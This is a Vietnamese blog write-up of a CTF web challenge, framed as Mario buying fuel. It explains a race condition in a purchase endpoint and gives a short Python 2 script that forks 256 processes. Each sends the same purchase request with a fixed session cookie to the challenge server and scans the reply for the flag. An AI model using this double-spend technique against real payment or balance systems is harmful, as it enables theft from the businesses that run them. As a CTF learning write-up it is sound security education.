Quảng Cáo

Cpm Affiliation : the cpm advertising network

Writeup CTFWargamevn Web200 - Mario đi đổ xăng bị chém :D

Category: Written by Nam Phạm Ngọc Quang / 22:15
Mario đang trên đường đi cứu công chúa thì xe anh đã hết xăng :(. Nhưng trong túi anh chỉ có 50.000 VNĐ làm sao mua đủ xăng để tiếp tục hành trình đây, hãy giúp Mario với :(.
Writeup CTFWargamevn Web200 - Mario đi đổ xăng bị chém :D


Vào đến cây xăng, mario đã phát hiện ra một bức có bút tích của công chúa, nội dung đại loại như sau:
"Anh mario, đỗ nhiều xăng vào, lớn hơn 13.37l thì đc xh e"
<!-- if($fuel >= 13.37) { show_flag(); reset(); }-->
Nghe đến đây tâm hồn đen tối nổi lên. Xưa nay mario ta đây vốn là kẻ lắm mưu nhiều kế, làm sao mà có 50k mà đỗ 13.37l (Haizzz)
Sau một hồi suy nghĩ, thế là mario nghĩ rằng 1 mình vào đổ xăng sẽ ko thể nào gian lận được, thế là mario nghĩ ra 1 cách, đó là nhờ người anh em sinh đôi của mình vào cùng đổ xăng với hi vọng làm rối mắt các thím ở cây xăng, và kế hoạch gian lận như sau:
Vì đây là cây xăng tự động, nên mario đút thẻ atm mình vào cây xăng, mua 10k xăng a92, trong khi cây xăng thối tiền, ngay lập tức người anh em của mario cũng đút thẻ atm clone vào cây xăng, mua 10k xăng a92. Quá trình tính toán của cây xăng sẽ diễn ra như sau
=> Mario mua 10k xăng
=> Ghi nhận mario có 50k
=> Ghi nhận mario mua 10k xăng
                        <= Mario clone mua 10k xăng
                        <= Ghi nhận mario clone có 50k
                        <= Ghi nhận mario clone mua 10k xăng
                        <= Mario clone bị trừ tiền còn 40k
=> Mario bị trừ tiền còn 40k

Lưu ý: Mario và Mario Clone sài chung 1 tài khoản nhé, nếu không thì chẳng có gì để nói cả :D

Vậy là mario đã mua đc 20k xăng mà chỉ mất 10k, tưởng tượng mario có nhiều clone thì sẽ thế nào...

Cách giải thực tế
Khi mua xăng ta cần các thông tin sau

=> Request
1. Cookie lưu username, sign
2. Data gửi đi: res(Số tiền mua xăng), t (loại xăng)
<= Respone 
1. Blance còn dư
2. Số xăng
3. Quan trọng nhất, là kiểm tra coi có flag trong đống trả về hay không, và ta đã biết định dạng của flag là marioxxxxxxxxxxxxxxxxxx => pattern: mario\w+

Và phần còn lại chỉ là đoạn code để thực hiện điều trên




import os
import sys
import urllib2
import re
os.fork()
os.fork()
os.fork()
os.fork()
os.fork()
os.fork()
os.fork()
os.fork()
req = urllib2.Request('http://challenges.wargame.vn:1337/web200_3b3b44938292fda6efa33655c0954123/','res=10000&t=a92',{'Cookie': 'username=2e02ae62e5bd9ee3a99c1ece30313d8e; sign=8b883723ee067412bf60f436ca616552'})
res = urllib2.urlopen(req)
string = res.read()
Blance = re.search(r'Balance: (.*) VND',string).group(1)
Fuel = re.search(r'Fuel: (.*)L</p',string).group(1)
FlagMatch = re.search(r'"mario.*?"',string)
if FlagMatch:
    Flag = FlagMatch.group(0)
    print Flag
print "Blance: "+ Blance +" Fuel: "+Fuel
Thank for sharing!

About The Author


NamPNQ

Không biết viết gì ở đây :D

Quảng cáo